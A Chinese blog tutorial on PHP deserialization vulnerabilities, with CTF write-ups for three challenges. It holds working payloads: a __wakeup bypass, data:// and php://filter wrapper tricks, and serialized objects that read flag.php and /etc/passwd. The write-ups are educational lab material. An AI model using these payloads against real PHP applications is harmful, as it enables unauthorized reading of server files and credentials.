IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 序列化与反序列化 -> 正文阅读

[PHP知识库]序列化与反序列化

序列化与反序列化

在各类语言中,讲对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程便是反序列化,主要是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输,最终通过反序列化可以获取之前的对象。

PHP对象需要表达的内容较多,如类属性值得类型、值等,所以会存在一个基本格式,下面则是PHP序列化后的基本类型表达:

  • 布尔值(bool):b:value=>b:0
  • 整数型(int):i:value=>i:1
  • 字符串型(str):s:length:“value”;=>s:4:“aaaa”
  • 数组型(array):a:<length>:{key,value pairs};=>a:1:{i:1;s:1"a"}
  • 对象型(object):O:<class_name_length>:
  • NULL型:N

举个例子:

序列化前的函数:

<?php
class man{
 public $name;
 public $age;
 public $height;
 
 function __construct($name,$age,$height){        //_construct:创建对象时初始化
  $this->name = $name;
  $this->age = $age;
  $this->height = $height;
 }
 
}

$man=new man("Bob",5,20);
var_dump(serialize($man));

?>

输出:

string(67) "O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}"

反序列化前的函数:

<?php
class man{
 public $name;
 public $age;
 public $height;
 
 function __construct($name,$age,$height){
  $this->name = $name;
  $this->age = $age;
  $this->height = $height;
 }
 
}

$man= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}';
var_dump(unserialize($man));

?>

输出:

object(man)#1 (3) {
  ["name"]=>
  string(3) "Bob"
  ["age"]=>
  int(5)
  ["height"]=>
  int(20)
}

反序列化漏洞的两个条件

  1. unserialize()函数的参数可控
  2. php中有可以利用的类并且类中有魔术方法

几个魔术方法

  • _construct():创建对象时初始化
  • _destruction():结束时销毁对象
  • _toString():对象被当作字符串时使用
  • _sleep():序列化对象之前调用
  • _wakeup():反序列化之前调用
  • _call():调用对象不存在时使用
  • _get():调用私有属性时使用

[极客大挑战 2019]PHP

题目中说作者有备份网站的好习惯,那我们来扫一下目录

python3 dirsearch.py -u http://7b1a76dd-1b5d-42f9-869f-f01e5ff9e954.node4.buuoj.cn:81/ -e php

可以扫到[22:17:03] 200 - 6KB - /www.zip这个目录

打开该压缩包,查看源码

index.php

<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>







<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>

阅读代码可知,里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

阅读代码可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag

接下来我们构造序列化

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

运行之后得到

O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

到此步,我们遇到了问题,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

查找资料可以得知

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

因此构造下面的序列化

O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

这时,我们还需要修改序列化

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

修改为下面的序列化

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

构造url:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

输入后即可得到flag

在这里插入图片描述

总结一下知识点

public、protected与private在序列化时的区别

<?php
    class aaa{
        public $temp=111;
        public $filename="test_a";
    }
    
    class bbb{
    	protected $temp=222;
        protected $filename="test_b";
    }
    
    class ccc{
        private $temp=333;
        private $filename="test_c";
    }

echo serialize(new aaa());
echo '<br/>';
echo serialize(new bbb());
echo '<br/>';
echo serialize(new ccc());
echo '<br/>';

?>

输出的结果是:

O:3:"aaa":2:{s:2:"temp";i:111;s:8:"filename";s:6:"test_a";}

O:3:"bbb":2:{s:5:"%00*%00temp";i:222;s:11:"%00*%00filename";s:6:"test_b";}

O:3:"ccc":2:{s:7:"%00ccc%00temp";i:333;s:13:"%00ccc%00filename";s:6:"test_c";}

结论:

  • public无标记,变量名不变,长度不变: s:2:“op”;i:2;

  • protected在变量名前添加标记%00*%00,长度+3: s:5:"%00*%00temp";i:2;

    protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上*的前缀。这里的 表示 ASCII 码为 0 的字符(不可见字符),而不是组合。这也许解释了,为什么如果直接在网址上,传递username会报错,因为实际上并不是,只是用它来代替ASCII值为0的字符。必须用python传值才可以。

  • private在变量名前添加标记%00(classname)%00,长度+2+类名长度: s:7:"%00ccc%00temp";i:2;

    private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上的前缀。字符串长度也包括所加前缀的长度。其中 字符也是计算长度的。

__wakeup()方法绕过

函数作用:与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过方法:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

[ZJCTF 2019]NiZhuanSiWei

打开靶机之后,给出了一段源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

读取源码后,我们需要考虑三个绕过点

  1. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
    

    这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中,然后让file_get_contents函数取读取。所以构造下面的url:

    text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    
  2. $file = $_GET["file"];
    if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    

    file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以不能直接构造file=useless.php,应该采用filter协议来读取源码,构造下面的url

    php://filter/read=convert.base64-encode/resource=useless.php
    

根据题意,构造

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

查看信息后得到一串base64编码,解码后得到如下代码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 
  1. $password = $_GET["password"];
    include($file);  //useless.php
    $password = unserialize($password);
    echo $password;
    

    这里的file是可控的,在本地测试后有执行下面代码即可出现payload

    执行如下代码:

    <?php  
    class Flag{  //flag.php  
        public $file="flag.php";  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    $a = new Flag();
    echo serialize($a);
    ?>
    

    输出后得到:

    O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

所以最后构造payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D

或者

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

查看源码后的到flag

在这里插入图片描述

知识点总结

  • data协议

    php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

    使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

    data伪协议只有在php<5.3且include=on时可以写木马。

    示例:打印 data:// 的内容

    <?php
    // 打印 "I love PHP"echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
    ?>
    
  • php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input

    php://filter用于读取源码

    php://input用于执行php代码

[网鼎杯 2020 青龙组]AreUSerialz

打开靶机,给出了源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分析代码:

  1. if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    

    该段代码告诉我们,首先通过GET方式获得字符串str,若str中没有不可打印的字符,则对字符进行反序列化操作。

  2. function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    

    is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。

    • ASCII 打印字符:数字 32–126 分配给了能在键盘上找到的字符,当您查看或打印文档时就会出现。注:十进制32代表空格 ,十进制数字 127 代表 DELETE 命令。下面是ASCII码和相应数字的对照表

在这里插入图片描述

  1.  <?php
       
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    
    

    分析FileHandler

    可以看到,在反序列化的过程中,调用__destruct析构方法,op使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。之后执行process()方法

        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    

    进入process()方法中,则使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法output()方法

    filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出

        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    

    若为假,op==“1”,则进入write函数

        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    

    所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,就可以进入read()函数

那么现在遇到了一个新的问题,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

在这里插入图片描述

其中星号就代表不可打印字符%00

有两种绕过方法:

  • PP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

    <?php
    
    class FileHandler {
    
        public $op = 2;
        public $filename =  "flag.php";
        public $content;
    
    }    
    $a = new FileHandler();
    $b = serialize($a);
    echo $b;
    
    ?>
    

在这里插入图片描述

  • private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

构造payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

查看源码即可得到flag

或者

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

在这里插入图片描述

解码后得到flag

在这里插入图片描述

比赛的时候还有相对路径绝对路径的问题,需要拿到绝对路径才能读取flag

可以先尝试读取**/etc/passwd**检验自己的payload是否正确,然后再读取服务器上的配置文件,猜出flag.php所在的绝对路径,再将其读取。

?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:7:%22content%22;N;}

下面这个payload是比赛的时候用的,buuoj上环境路径不一样。

?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;}
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-20 14:52:17  更:2021-08-20 14:53:46 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/12 2:21:40-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码